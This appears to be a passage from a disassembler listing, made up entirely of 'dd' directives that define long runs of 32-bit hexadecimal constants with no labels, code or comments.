		dd 1A8A7C55h, 2197A950h, 5AC6526Fh, 0DD06FCC0h,	0E6B32787h
		dd 0BBB940F6h, 0EEB02C1Ah, 0D59EECF7h, 0C247C383h, 224B9316h
		dd 25B6E3C4h, 4D7138BCh, 6301007Fh, 35554B56h, 0A4370E8Ah
		dd 4DF99A7Bh, 6636CE44h, 6A89367Fh, 3C6371h, 11785A2Ch
		dd 0CAD48009h, 0F43AE6A0h, 7E602320h, 0B25536Bh, 9BD211C0h
		dd 0E1C2380Bh, 6E2910CCh, 0F076FFE5h, 3343F31Bh, 780568A2h
		dd 30B2CEEBh, 2864B62Bh, 0BC15ABA2h, 51D59F37h,	1F8A502h
		dd 64323D4h, 6EF522FCh,	1800D7F6h, 0A07BE886h, 86EDE32h
		dd 68D5DBE3h, 174BAA6h,	80254CACh, 0E98E961Ch, 3CB4449Fh
		dd 68374FD5h, 162E2B7Bh, 0A8E178D4h, 54E05145h,	12E61F69h
		dd 0B7D6B32Fh, 0B51937B8h, 2E69F24Fh, 0C2AD3BC7h, 0A9F8A7C8h
		dd 95DCF6ACh, 1E099F6h,	44F414D1h, 0F7C7246Dh, 379963E9h
		dd 0D04214DBh, 6DAF2EC2h, 6CF125F7h, 0DD044E1Dh, 25286896h
		dd 0EA54354Bh, 663CAB5Eh
		dd 0DB5B6054h, 1CA3473Dh, 7229E4B3h, 0FE79C463h, 5E8929E1h
		dd 0E36F5FBFh, 5E78B54h, 35EFF9A2h, 0D0132437h,	0D3DE2765h
		dd 0A1B2D05Ah, 4E2C5A96h, 768A9995h, 688D26E1h,	0D803398h
		dd 40CA0F82h, 7BD476F7h, 0A26B4C37h, 0C445206Dh, 2FE0F713h
		dd 0C346D398h, 10861027h, 6FFA97ACh, 96D7A928h,	0C67B93D8h
		dd 36A35FBh, 34372CC7h,	0B5DB7661h, 83E99E2Dh, 5F1C3767h
		dd 0A6FBD615h, 5DAADC12h, 5202CF86h, 0F396A3AEh, 10997132h
		dd 102DC829h, 5AA12FAh,	0B8BEC2C5h, 0E3F6529Fh,	78DF6E16h
		dd 28AB033Bh, 0B5D2B7CEh, 7AF39E50h, 4E3B000Fh,	2FC00AD1h
		dd 0A14F7EBCh, 98C22AAFh, 3C4FD91h, 9A1A5CB5h, 198B715Eh
		dd 45234702h, 0EA5A3033h, 0BB0234A2h, 787884BAh, 48B6ADAFh
		dd 51C31CF2h, 2CDCEC71h, 0EB13882Ah, 71B50ABCh,	6A08B363h
		dd 0FF248651h, 63F15D5Ch, 46343C11h, 9B12ACC5h,	0DD33F891h
		dd 58703C48h, 0FE968951h, 66DA1Dh, 0FCD99D5Fh, 0F225193Fh
		dd 0CAEAF5C6h, 25A238A8h, 2DA94159h, 69C116F9h,	0E3C8DF66h
		dd 0C950A631h, 0F1B19AB3h, 383AD6Eh, 0F7FC9C50h, 7CCE8F2Dh
		dd 210FDD31h, 0F2B4F43h, 19CE8B38h, 0D904FC4Fh,	2BD581E7h
		dd 5C7E16BBh, 4D4F53C7h, 4ACB8E63h, 0A4BD62B1h,	986F8201h
		dd 0C9C51902h, 602D3372h, 0AC9C8061h, 0A81B89Dh, 0DDC40219h
		dd 0FE59DFDDh, 0CA77C811h, 0DE526D0Fh, 2765761h, 0E9D638Fh
		dd 0BE7562D7h, 0C8A92EA2h, 0D74271E0h, 0B19DDB81h, 1BCC2527h
		dd 52A3AE5Ch, 19ABF89Bh, 8EBD219Fh, 0DD577EA6h,	6DD91801h
		dd 10F1CCFh, 5A8EF2FCh,	7A0805Ch, 8301A2BFh, 796362EDh
		dd 0ADDF4026h, 8CDA1D73h, 0E7B47C0h, 0E1CE5155h, 0A17C06E6h
		dd 816886F3h, 7E6C32F4h, 0D4FAC758h, 0DAC8860Dh, 488EFA15h
		dd 0A3C5B2AFh, 41EC4369h, 0FBDF7C0Ch, 18040500h, 2B47422Fh
		dd 0CF953C5Ah, 6021F27Ch, 32037E7h, 497545ACh, 96F2E99Ch
		dd 7A0A35A7h, 0F8E38B21h, 51B20DE0h, 0F4AD3A1h,	3FFA40EFh
		dd 1418DCE6h, 0A266AFC9h, 62C8148Fh, 4728E94Fh,	45FB63FFh
		dd 64EC731Fh, 0D450571Fh, 0D4F5D2C9h, 0FD9BAC08h, 4318E7D1h
		dd 65A3EE2Fh, 274CB94Ah, 27B73404h, 65DC66B8h, 0A6033D8Fh
		dd 50092847h, 70A7A02Fh, 0DCDA7A25h, 537A06D6h,	0A55E7A78h
		dd 4EC56694h, 192A7EB6h, 0D072B4A3h, 0F3A7B1EAh, 6B01E270h
		dd 0A03F2874h, 82C403F0h, 3FB5C898h, 1464D9FEh,	856F5CD2h
		dd 274DB979h, 479A6399h, 37C77194h, 0C70CD8B6h,	0CA63F0A9h
		dd 7BC95DEh, 62140A48h,	6170A135h, 5C2BC6DCh, 7D65CA32h
		dd 353DC7D1h, 0A31DFFA1h, 0CAC9B421h, 0C7FB6C20h, 545D24Ch
		dd 0AB0865CEh, 0A11F2410h, 1A86DD87h, 6ACA4B6Dh, 1E63DBD9h
		dd 2B515BCh, 7355AE56h,	648C6C85h, 4E6A8CC8h, 0E3F9A04Dh
		dd 4C3DFDCFh, 0C1650C11h, 802B8644h, 992FE2Ah, 84D4562Fh
		dd 85D62C5Fh, 335D315Eh, 0AC04914h, 92C33F3Ch, 862D884Ch
		dd 9C75B5EFh, 44898D92h, 0D5C9C46Fh, 93FA7177h,	4BE88B7Ah
		dd 37BE926h, 0B33FCDEDh, 31E74486h, 392024E4h, 8CF0CC90h
		dd 0E703D29Dh, 36D87885h, 4DD1D124h, 114BF3ECh,	0FB3E93Fh
		dd 1AE15ABh, 0E1EABC10h, 5B9C7882h, 0D3784CA4h,	6936DBC4h
		dd 0CD4A2A58h, 240C2632h, 0F95A71A4h, 0B9E67016h, 7AE56B2Ch
		dd 63C4C6BCh, 32D84784h, 7771E0BAh, 5D996210h, 3A3146FAh
		dd 9BB51987h, 0A801509Ah, 0F54DB124h, 4BB25E2Eh, 690B1B4Ch
		dd 54CF06DBh, 7C39C2B6h, 1E8809CFh, 5FF86F98h, 52DE16B3h
		dd 357CF77Bh, 771D6813h, 0C54C30D1h, 8F3B4112h,	9F0BA1D8h
		dd 187CA18Dh, 0FE91539Dh, 0DFEE9051h, 0B1F30D58h, 9D1DB91Eh
		dd 7007EF18h, 58F60C2Bh, 0D9BE794Ah, 65E2326Fh,	0F33D5CE4h
		dd 1CF7C3F6h, 512A09BCh, 83F33D32h, 50B6B1FEh, 4D8B0F67h
		dd 0D6ADB3E5h, 2E8D0430h, 0FF0E7EC0h, 0F58E4566h, 0B179259Fh
		dd 73F67FCh, 2AEC31FFh,	0C1EA3178h, 95F34F45h, 7069A0E4h
		dd 3782257Ch, 9752DB65h, 4970E6FFh, 0CB27FC3Eh,	30EEE965h
		dd 37CDA017h, 6365CD54h, 0C9BEE433h, 2BF31049h,	0A75E362Dh
		dd 38B10294h, 1268D577h, 786550FCh, 0E4A039FAh,	0EC7D3A69h
		dd 614E731Bh, 91436B86h, 7511FA1h, 0EB4C3744h, 94CA78A6h
		dd 31C7ABC9h, 195C9442h, 6E83C614h, 6C9C3D83h, 2FF747DAh
		dd 0A8F2D61Eh, 0E6AE3944h, 0BD3C1512h, 0C2D0A5E5h, 7DEB3962h
		dd 46802EECh, 0CD871691h, 8FC1E5EAh, 1FE0D4Dh, 9406399h
		dd 0EA208F7Dh, 8C07583h, 0E11EF1BEh, 0E46BA285h, 0FA9B35A1h
		dd 0A98F50D3h, 0A5D2A954h, 9BC4EA2Bh, 0F8C56980h, 0B20E2846h
		dd 8C5EA672h, 724D0701h, 0D85679A6h, 0EAC03255h, 0E69DF53h
		dd 8C2BE429h, 2098AA6Eh, 0C2D48D67h, 2BCD3A05h,	0D275EE58h
		dd 0E6B81410h, 0B8F4E1A8h, 0CC52204Ch, 97D34054h, 0E477267Bh
		dd 1B303152h, 0F6AB3FD6h, 101A9EE9h, 0C9FFD5C3h, 32856208h
		dd 3DA5B39h, 6F16211h, 0C2413707h, 523B3C3Ah, 0FF50D9EDh
		dd 0C3C81662h, 160218B1h, 684F4204h, 1316430Fh,	33D985B9h
		dd 88280A28h, 0FF7DF997h, 1DB1866h, 3CFE4BE2h, 49CC0922h
		dd 0A96189DCh, 15C9F6E3h, 984235DEh, 0C24E0FCBh, 0DAC817EFh
		dd 2081FC55h, 427BE310h, 92F42324h, 7FED21EEh, 0B2871FE8h
		dd 0EF2B89E3h, 87559A62h, 0BD066B22h, 0AE35B739h, 23340AD0h
		dd 447CA951h, 0AC318ADDh, 139C3989h, 6C438C4Fh,	8E5840EBh
		dd 1757E338h, 844D262Eh, 404D225Fh, 0EBD3EE43h,	67B2CCA9h
		dd 647674EDh, 17DA5D79h, 8068C646h, 0E16FF712h,	6AA88179h
		dd 353DF3D5h, 9913F259h, 29502D33h, 64307E04h, 0D8F2711Eh
		dd 3E1C2828h, 4B29C36Eh, 688576CEh, 7EDF5130h, 0E845B0BFh
		dd 33CB645Dh, 0EA3F6F07h, 0E37469Bh, 6BD2E5BBh,	7BC3B4B4h
		dd 6410F77Bh, 67D2B0ACh, 739B0A82h, 12DF6361h, 6064B13Eh
		dd 0AD6153E2h, 0D5ACA6D0h, 98CA8A46h, 515693B5h, 5A90B7A1h
		dd 85F71864h, 92A93DE3h, 2BE40816h, 30A638C9h, 0E490B356h
		dd 0BF784C57h, 0F6A80869h, 99BB6B33h, 1551FECAh, 8AA61C8Dh
		dd 4C51A3E0h, 0EA1F5B9Dh, 0A8F44743h, 0FD4A6E74h, 0E5F1CE9Ch
		dd 9623BC2Dh, 7CCEEFAAh, 0C4C5750Bh, 29703895h,	14753ED2h
		dd 354FF48Fh, 9285A282h, 391938Ah, 122DA406h, 8AA4537Eh
		dd 8AAA505h, 33E981E9h,	88797BAAh, 5DC55BB9h, 8F502115h
		dd 7602F571h, 82BC5E7Dh, 81E28C5Ch, 11C46095h, 46EB4F74h
		dd 1375D9CEh, 8F61DD46h, 0B13B8723h, 8BEE23ADh,	6B208CBAh
		dd 18B676B1h, 579C304Ah, 0ACFB0F84h, 0BDF3174Fh, 1AB48C22h
		dd 0E84CDD4Fh, 0AA126B19h, 7CAEC01Fh, 0D15E0F30h, 0BDC7BA2h
		dd 0D7B74402h, 8463D44h, 0EC144ADh, 3E7BFCD3h, 0FD45BD8Fh
		dd 82873ADAh, 40D66834h, 52662C6Bh, 6FF8AE2Fh, 61B498B9h
		dd 85D169B2h, 0C348F6E6h, 0F233261Dh, 866CBEF0h, 208E2AF7h
		dd 2416EC68h, 13371FABh, 38880188h, 3E02CDA2h, 7A816E43h
		dd 5D7D6ACEh, 8C70E5B3h, 0C13E210Bh, 72AEBFEBh,	3CBAE8E0h
		dd 514DB327h, 3B9C3A7Bh, 8525F14Ch, 0A7BCDE4Dh,	1A2ECA92h
		dd 0DA1DF000h, 523051E0h, 0A2B77F23h, 94059FDEh, 0B5DC2A76h
		dd 0F5F8B4F7h, 883F994Ah, 8AD85C25h, 0A7A34076h, 3B1E5B60h
		dd 0A924536Ah, 33F21FD3h, 1CE5E130h, 0ED3EA3A0h, 61114452h
		dd 0C205A8B3h, 0EE45C68Dh, 8CEA8CC9h, 0C041FEC7h, 0CAF1B61Ch
		dd 0CFBB1C7Fh, 3E32DE47h
		dd 0EA87CABDh, 2DD896E7h, 0C2C9DD35h, 84A8F33Dh, 0FDA1DB70h
		dd 1DA09E2Ah, 82342CA4h, 8BA86ADBh, 4B2F10A2h, 0E72C2669h
		dd 1577B71Dh, 0E49A7308h, 0E90A204Bh, 340EBDC6h, 961AD9E6h
		dd 0C219466Bh, 0BE5679B8h, 5D46B4D3h, 29906B57h, 45BCB498h
		dd 57C3997Eh, 16852D85h, 0EF492EBCh, 52F0AE21h,	0BDE4AEEh
		dd 0B6D60F12h, 0FB1D16FAh, 6477FD9Dh, 3EC71276h, 2720E093h
		dd 34F9CA54h, 0C1648AA4h, 2FD90BB3h, 39D453F9h,	0B5E69264h
		dd 0AFD06BA9h, 1F651FEBh, 98CD9957h, 29DCCD6Ah,	0E0DDBAE8h
		dd 0FAB6570Ch, 0E5FBCFD0h, 8EFFDE46h, 4A851928h, 60BA61C2h
		dd 0B5F8D792h, 759DD7C4h, 0FB1A6454h, 0C55C3CAAh, 2B69C86Eh
		dd 463B0EACh, 4F6DD87Ch, 0E672B493h, 70059CDAh,	8FD60B10h
		dd 0B5C99F64h, 99A90381h, 952224CEh, 0FF73AEB4h, 3C9F5EE8h
		dd 0F58B1E4Dh, 2DEA6E8Ah, 0A0C923E9h, 7F007716h, 19289402h
		dd 68539929h, 6315F030h, 67C0CA9h, 6A6DA10Eh, 5650E1B4h
		dd 0E3A31B30h, 28F211E5h, 0F0EABA5Ch, 50ACDB36h, 0B056D350h
		dd 0BD5A4466h, 71034A0Bh, 0A9F66BA8h, 0C70195DDh, 97F5108Ah
		dd 26812E98h, 35B72196h, 38E905Ch, 72300D36h, 0C14E66C2h
		dd 0AFABF968h, 0D0C94544h, 67729D7Bh, 0D6CA3DF0h, 86B2341Dh
		dd 438AFDFAh, 0F5A9A0E8h, 0BB7A6275h, 0C23BD05Fh, 0B041156Bh
		dd 96E03F0Ah, 7356CF9Fh, 0F81DCE47h, 3EB7DDD6h,	7122124Ah
		dd 29F90084h, 0AD41F6FEh, 0A1BE4CAh, 9065AEC9h,	8C593C14h
		dd 6472170Ch, 1FA82DC7h, 3CD068F8h, 0D9A85E1Eh,	1AEAE336h
		dd 0FEFAFCE6h, 4A3917CEh, 765952FBh, 0E8A0CFA0h, 0B284BCDDh
		dd 9995155Ah, 0BC7009F0h, 956677D4h, 0BF6B1A4Fh, 7A2C6CBBh
		dd 0D973AFE4h, 2D702D58h, 4094CE81h, 0D45CB849h, 0B9E4F813h
		dd 58D9BF08h, 0ECDA70B1h, 0F3606164h, 0F50C09E5h, 0F86DE9D9h
		dd 0DD3CFE32h, 7738F399h, 186E04FFh, 0C769B2EEh, 0B6A74CFDh
		dd 2E8E95AEh, 3FFC17D0h, 360D034Eh, 0C78C58FCh,	0C6FA1F8Fh
		dd 515CD9E0h, 236F03B0h, 7645861h, 0B2C67261h, 30E451h
		dd 743953F7h, 886BA858h, 0EFCA17E4h, 0B990254Ch, 7FC0F402h
		dd 0CE0B4EE7h, 27ABF371h, 1BC81223h, 0F902E9DEh, 596D67C6h
		dd 7A74E511h, 7E8D2D58h, 97D3B5F6h, 2393215Ch, 6A6FE3E7h
		dd 23A71073h, 6EC147B7h, 3ED99225h, 4A2AEF2Ch, 2D9CC08Eh
		dd 0E52FA197h, 0DA17A2BFh, 0EF457A0h, 0E0EFC5Bh, 0EC9E418Eh
		dd 0B8F66h, 32905363h, 45425CEDh, 0C268B221h, 0DAADDAFEh
		dd 0BF339AD1h, 0CEF0A5DCh, 0F8825D87h, 0F24EE255h, 9313D0A4h
		dd 5A7DA246h, 5A00451Ch, 99E4203Ch, 7ECCA3A3h, 74BE37EFh
		dd 204AE003h, 0F1FB7853h, 0E92087A3h, 2DF452D4h, 6D9B2200h
		dd 92A2581h, 93DB2225h,	0CF602B0h, 8BAFBE33h, 4E8CDA1Ch
		dd 528505D9h, 0E0E74DB4h, 55D63227h, 53654C3Bh,	3D610B63h
		dd 782BE87Fh, 0FCB03DAh, 0EDEC3617h, 0EBBB9CA5h, 23AF0751h
		dd 0ECDF7565h, 6BAA0CA4h, 0C21015E4h, 335E20BFh, 528739F1h
		dd 90FC7AF0h, 0EE233159h, 0D66C8D7h, 1FD1E55Fh,	54FC9AB4h
		dd 89961EAAh, 0AD7DB1A8h, 0B02E8C27h, 384C5DE5h, 0B776B5AAh
		dd 52524D4Dh, 4DB95F45h, 18E809EEh, 0ECBE2E0Bh,	32496FEEh
		dd 9809BD29h, 0A8BA457Fh, 0B7216B52h, 68428787h, 1D9710A6h
		dd 0BDA37078h, 3066F10Ch, 34BE83AFh, 47B2254Ch,	0F691AD11h
		dd 910FA79h, 415456D0h,	825FBCFCh, 101FAABBh, 8A793EDDh
		dd 717EBC1Eh, 20CD18B4h, 0CD9AC8C6h, 0B2DB0FB4h, 0C856EBB3h
		dd 0A4E7D693h, 38058E4Eh, 970D7701h, 0EB8F7364h, 4731CF0h
		dd 41CDF023h, 82B20FEFh, 0BF7E3F19h, 4A824C74h,	0B84A14B2h
		dd 0C908E9FEh, 125FD99Ch, 2A67109Ah, 0FB3EDD8Fh, 1C64DBB6h
		dd 2411DE0Fh, 85064F51h, 0CEE9221h, 152A5599h, 98E55EFAh
		dd 4E646FC7h, 2A2D0B9Fh, 0DDD0346Ah, 0D7380B79h, 457AC593h
		dd 54D0B0A8h, 5A7A97DDh, 7487C347h, 1DCA13EEh, 8BFD8756h
		dd 14A35C4Ah, 5324270Eh, 0AB65E44h, 0D75F0B9Fh,	22337499h
		dd 0FC78B4A9h, 721BD0C4h, 0DCE038E3h, 0E0DB421Dh, 26F99808h
		dd 78DB0D64h, 0EEE45280h, 0B9017C34h, 0CABEFA1Bh, 0AA3BECE1h
		dd 779BC0B2h, 7CCF9661h, 413B1A9h, 0A0E6BD85h, 0FA1F71A8h
		dd 0B77FAA27h, 0F4B3244Ah, 228FAFCh, 0B8EB7A84h, 2965DF13h
		dd 0A79AD7A2h, 0AF9CACB2h, 2A9835DFh, 45A7CD85h, 8371EA3Dh
		dd 0ED64F953h, 982F2529h, 38B2ABFEh, 729EE7F6h,	5C367B03h
		dd 0CA171DEh, 7B30955Dh, 0A224268Bh, 0FA7C7BFBh, 0C4FC4C91h
		dd 5D1215ADh, 0E18EBA4Dh, 38945DABh, 4896E53Fh,	0A1F61410h
		dd 9EDD1D4Ch, 39D574Dh,	0E93CC25Fh, 0D185D27Ah,	0E8405A4h
		dd 0A2973DF9h, 0FDFEF11h, 0CB576B06h, 0DCB534BEh, 5098AC7Bh
		dd 68F741h, 83B44094h, 0A3D2EF37h, 0F78A86B4h, 0CEDFB2CAh
		dd 872A5FF1h, 2B4A36F7h, 94C84E02h, 2284DCCFh, 0A197FAB6h
		dd 0E1E8DB7Dh, 671BC0F9h, 35D5F52Dh, 11459579h,	64F02148h
		dd 9663C52Eh, 22BC453Dh, 1199DB9h, 1A8DC99Dh, 0DD3BBB16h
		dd 0A268A0D8h, 0C8FEA234h, 329DC598h, 0BE3451B9h, 6493D5C3h
		dd 109B284Bh, 84EA5E73h, 72ABF4D4h, 67A0857Fh, 6A9F3C68h
		dd 5B658D23h, 156C154Bh, 6BAA97Eh, 0A6B1C860h, 26F25544h
		dd 6FC67DB4h, 2B5DA8E4h, 0F2BDFE0Fh, 1375D22Eh,	417E8416h
		dd 6DEEB890h, 4DF0523Eh, 6117D78h, 0CB44DA11h, 5F3C00EFh
		dd 136243B9h, 0B0BCE2DEh, 0A82B65CEh, 0A1242D00h, 0BF280AE8h
		dd 1AC37D63h, 0C1E1826Ch, 0FA8EE973h, 0FBCFA8BBh, 11EA8F30h
		dd 2FC3B24h, 0AC32901Dh, 0C9558853h, 6D276E3Bh,	1E1BA5FDh
		dd 99CDEBECh, 98541B85h, 54CA35E7h, 0C323C97Eh,	1AB05425h
		dd 0C3D11A3Eh, 0F67AA59Dh, 7C5B851Ah, 2E55CEEEh, 117194B2h
		dd 0D22A97Ah, 0F20C34A5h, 82799E04h, 0A9EE38FEh, 11E24BDAh
		dd 60609D99h, 63A5A308h, 3995A059h, 4DE49B88h, 6BBFBA84h
		dd 723DFC1Bh, 0CC5B19F7h, 2A92EE5Fh, 4580CC2Ah,	4CAB06C5h
		dd 0C8B0B0BFh, 50483E90h, 0C064CE09h, 0A8B6E42h, 84C45825h
		dd 0C30D23D9h, 6982409Eh, 3F6AD9BCh, 49F27C95h,	0D66647EFh
		dd 792CA3BAh, 66D764A3h, 0CEB94D84h, 87AEEB2Fh,	0F06F3C69h
		dd 826CE14Eh, 0A4E11386h, 9C59B8C6h, 6D849414h,	0DF3BD6C2h
		dd 5E2E67B4h, 41AF6BECh, 319A33F8h, 615460C3h, 0F87C83B1h
		dd 23B92182h, 37513F7Fh, 5BD837B0h, 0CAA7F82Ah,	0B177DDF4h
		dd 16D9445Fh, 43B4800Bh, 8DD3D543h, 0BFB6C07h, 0AC498316h
		dd 0FD07875Eh, 78235826h, 0B2C1900Bh, 8EF92761h, 23B21F24h
		dd 0E25CB83Ch, 0FE656E1Ch, 0F3122C4Eh, 5306810Bh, 0F7FB5F0Fh
		dd 0A0ECE63Bh, 5419B872h, 0BC75DF22h, 11B8DABh,	0D54EC6Bh
		dd 0ACFA2A2Bh, 3D93AFA3h, 0EEFF8F63h, 0B0BA1CC1h, 0C12D8CE8h
		dd 83B18521h, 6C76BB0Eh, 30E4FDC4h, 6D503C47h, 0AA6034EDh
		dd 26727F8h, 596C2E1h, 0E301F10h, 52E36A8Fh, 42A10336h
		dd 0E09A9F1Dh, 8EEA0CE6h, 35F13C9h, 0CC91D354h,	0B8DC15F9h
		dd 48601F8Fh, 166B5442h, 4D63B302h, 10EC2490h, 48B6D044h
		dd 40E4D784h, 6B684EC8h, 0A099DCC0h, 0A51D0AAFh, 0EAF895D6h
		dd 7279987Eh, 7EEDDA9Dh, 7FFCAFE7h, 0B0327402h,	0A999C623h
		dd 0AD8765EEh, 0CB140BDh, 0B990AD81h, 2817F7D4h, 88F3E4E5h
		dd 76E17B90h, 9246AF42h, 3B29A3D5h, 9079D5E6h, 38609A8Ah
		dd 0BEF1192Bh, 0AA7A063Fh
		dd 478F76DFh, 0B3FCD69Eh, 885F7995h, 0C6E8438Ch, 89424693h
		dd 39A9B12Ch, 619898CEh, 0E57ECF2Eh, 1B018CAAh,	0E05B3797h
		dd 84740FF8h, 0C7A8900Ch, 9EE979h, 8AB8923Fh, 2FD6DC82h
		dd 9D8EA9ADh, 43F99C71h, 7BC04267h, 587ECEB8h, 8248C14Ch
		dd 4E62B4B2h, 0D726F39Ch, 0DF903064h, 0B69C0F1Bh, 0A353FE1h
		dd 0F0A1EBC2h, 51D7DFDDh, 5163572Bh, 7F08BD3Bh,	79E75385h
		dd 1EA69B62h, 372755BEh, 7738F2BCh, 2FC14E1Dh, 7837104Dh
		dd 0C7F8773Ch, 4A950146h, 1170B055h, 22E7D02Eh,	41631563h
		dd 75D63C57h, 9D0E7BE9h, 0A32F091Dh, 16124B0Dh,	0AE482720h
		dd 91722A6Ch, 45CEAAE2h, 30C1BD6Fh, 0F8374024h,	9D7F03D4h
		dd 0CFBF70B8h, 0A22F7C92h, 6C6CBD1h, 109DB385h,	616CD6F6h
		dd 6E4A9345h, 0B53088Ch, 7EDB6344h, 0AF0456BCh,	0F4836A31h
		dd 0E318F8AAh, 0A11498F7h, 88AA744Eh, 2DCE8A59h, 86E61E09h
		dd 0CA7CB790h, 0F1907388h, 0B5911726h, 0BAA783E4h, 0A47BCFC2h
		dd 0BBB7DD15h, 719E1C3Eh, 0FB243706h, 2A0FCA75h, 0B99E14BEh
		dd 6B53C3FEh, 79365B7Bh, 443DC01Dh, 75025A08h, 0C9CC34D9h
		dd 0A1EE7E7Dh, 12D4C661h, 0BA7ADA17h, 72B91015h, 3EF8EE62h
		dd 0D5AD9FCDh, 4832C96Ch, 185E1395h, 45F4DFCCh,	897F38CDh
		dd 0A3893EC3h, 0B01E2FB9h, 520C06A1h, 0AE74A571h, 0CB94F0E1h
		dd 3FD082D2h, 14E0AC0Bh, 0ABE49811h, 4558E825h,	9C439F80h
		dd 16117246h, 83F31F6Fh, 0F28D23BFh, 1A4EAA1Dh,	28FDB032h
		dd 42BAF4A5h, 23431424h, 0EBF31E55h, 0B22766ACh, 5C8C54A8h
		dd 9587492Eh, 4F987D65h, 830C631Ch, 0DEBC1EC8h,	0E535A983h
		dd 44E00238h, 448C459h,	58A9A41Fh, 0F7EB8FB4h, 0BA65F7FFh
		dd 8F9C17FCh, 99C85CF8h, 5B92AB02h, 0E6888EDFh,	0FE223BE4h
		dd 0EC23BDBBh, 0AE709BD1h, 0B82185B1h, 0B18DFDA8h, 9C41A64Dh
		dd 487C915Ch, 14ADF599h, 1A04104Ah, 9F14FD61h, 74C5553Bh
		dd 86CE1631h, 5518636Dh, 59F2867Fh, 218D1101h, 979E3175h
		dd 52CBF1B3h, 5A47CD8h,	0C58D181Fh, 9CDE49E8h, 56A4A697h
		dd 0C5DECA1h, 864E0358h, 976DE5F1h, 7D87C843h, 0FF040957h
		dd 93EDAC1Dh, 8A02D759h, 0EE29E21Dh, 0ECE16CB0h, 3E82AEDAh
		dd 0A32C5FD1h, 618ABA98h, 0C8AD8F3h, 9BA38140h,	0AE38EBAFh
		dd 15078FAEh, 14D0AFAh,	6BB62DC1h, 0DEB043B5h, 57819DDAh
		dd 31558699h, 411449FEh, 3601493Bh, 2F715744h, 0DA17E49Fh
		dd 60449A7Eh, 0B594076Dh, 0CA7F7D3Ah, 550B7BC0h, 294895FCh
		dd 0D3E50876h, 0A58F9A78h, 0DD5E8396h, 0F7D90CDBh, 47C5B2F8h
		dd 5115C1ADh, 74A2CA91h, 0E3FAB348h, 5AB43F85h,	5BED0E26h
		dd 0F572CB51h, 9B1E486Ah, 0C37671D9h, 0B388B261h, 2759E89Eh
		dd 18D194A5h, 891BB6F4h, 237A4E1Fh, 5CFAEFA9h, 97419E25h
		dd 0BE577584h, 22F4DE06h, 981B99FBh, 0DC8C368Eh, 0F1256FC5h
		dd 9BA46F90h, 19EACEAEh, 0A1E858C4h, 0CD67B73Dh, 0CB95A640h
		dd 0C5A81E81h, 8040BA7Ah, 3978D087h, 30597554h,	81EA068Bh
		dd 0C6AF7055h, 99A3742Eh, 470A939Ah, 0C3A6722Ch, 0BF21C929h
		dd 0E1D7099Eh, 10409380h, 25549682h, 0D49AB414h, 4CF9FECDh
		dd 0A4844A3Bh, 74CEB72h, 81C98B2Dh, 7A8175C2h, 587CB2D2h
		dd 2D26ED18h, 0ED9AA444h, 23BD7DBEh, 3EF4A462h,	0C8064133h
		dd 0A31D9B11h, 0F62DDE90h, 0DB8EBA22h, 6FB7ADBAh, 0BB2C3D96h
		dd 0F1A76AA0h, 0DA995230h, 0B6958E41h, 2D62B7D0h, 0CF404565h
		dd 6481FFEBh, 346C338Ah, 0DACFD83h, 0F6A34602h,	65881749h
		dd 6AD4F0B4h, 0DE8F382Fh, 11D5E5CCh, 0B9DD8F15h, 7D45B085h
		dd 3E1DE2F8h, 93B8EC61h, 4410326Dh, 69CFB349h, 8B1DC842h
		dd 0CAFC27AFh, 17570A13h, 0D204C7Eh, 0C9B7A7A1h, 6E9699F6h
		dd 0AC24F3ACh, 0A0F49099h, 765F38C4h, 4C5D2851h, 9F2B6F26h
		dd 26292DA7h, 95DFCE39h, 9659A8B4h, 0F56FC3BFh,	8A473A9Ch
		dd 0DD3879E7h, 49CF7936h, 0B40A0C26h, 0B8FD84A7h, 905A5BFEh
		dd 0D3070DCEh, 0D36215EEh, 65BF26F9h, 710C116h,	4BBC594Eh
		dd 0AADD9344h, 66A3F708h, 0B54347BFh, 0F840C855h, 87CD677Dh
		dd 90179C6Ch, 0C32D06EAh, 0A1A7F22Bh, 86242E66h, 77AEAE3h
		dd 4F12CDF3h, 0EC815074h, 48C8D46Fh, 0B5D4E848h, 4585B525h
		dd 66E5C043h, 62A39AE3h, 66768A02h, 50E9ECDCh, 0CC60F5F3h
		dd 12670C0Bh, 0E26F2B97h, 2E93321Ah, 176E2D6Eh,	0E66BBEE1h
		dd 0A59E668Ch, 2F48804Fh, 3F40ECC7h, 0BECB683Ah, 0ED1C3F02h
		dd 31C0CA88h, 0FD85B0C5h, 8DB30F96h, 0D1E90794h, 2DCEF0B4h
		dd 6256488Fh, 0FF1B4563h, 9AB9077Ah, 7F1152C0h,	881E94AEh
		dd 227FA224h, 0CEA66707h, 0FA019470h, 63BA6AD1h, 83F97A96h
		dd 4342B69Ah, 0F0C3570Dh, 0C698BD29h, 49CC64F9h, 4008A4BCh
		dd 599CF59Fh, 94DEA801h, 0AA8CA005h, 0B5E7E1B0h, 17DB8AFFh
		dd 0E11E93E3h, 4F891CCBh, 0A61F0D70h, 0E67D8C6Ch, 0D0496D82h
		dd 0A001E753h, 0AB2BE8E6h, 7286B124h, 73258B24h, 9108CB40h
		dd 0EF390715h, 291FFAC9h, 19588B35h, 82A898B6h,	9D891CD9h
		dd 9F30726Ch, 54634146h, 5DF3D456h, 4536562Ah, 9C0BF68Ah
		dd 92869ACEh, 332A6BAh,	0E573BDD4h, 0C9E993DCh,	93513CE9h
		dd 0B0F7B908h, 86C53217h, 93D2446Fh, 0DD7D8AF4h, 0E5FD67C1h
		dd 0C5AD307Ah, 0EE1C144h, 17E4F1E1h, 43081155h,	0C6F77738h
		dd 2034C677h, 0FB30519Dh, 0B20697F0h, 2222C9F4h, 0E5A71BE2h
		dd 1849091Fh, 889A4CCCh, 8E66B79Dh, 0DC52F4ACh,	0EEAEC6F1h
		dd 0FEFB65CFh, 54A7AAA0h, 5722DD87h, 0C04EDFDh,	0D4BDE97Fh
		dd 0C525DDD8h, 5E301BB3h, 0ADD543A6h, 0E8297D4Fh, 4C8F8061h
		dd 2105F1BEh, 0F8A2690Bh, 0F7D9AF2Fh, 7AB23A5Ah, 342703E6h
		dd 0F90312EAh, 528FF4C4h, 32B833CEh, 42A7C9A7h,	3BD048B1h
		dd 0C9AB722Bh, 0BD0FB9ABh, 0CB482DAEh, 3D542219h, 0EC9CA72Dh
		dd 0C82BFAC7h, 49FAE0F1h, 0CAE3FC5Bh, 0F8361E62h, 0ED3E6F0Dh
		dd 0E80E8D44h, 69F29E28h, 3F59C403h, 53D0ECB0h,	0D604A48Dh
		dd 0D3DDEFC1h, 0DE026EEDh, 402E2E92h, 669585E8h, 68EA9619h
		dd 54E064EDh, 0D6F7233Dh, 4BCBB54Fh, 0A3F1651Dh, 5C136D6Eh
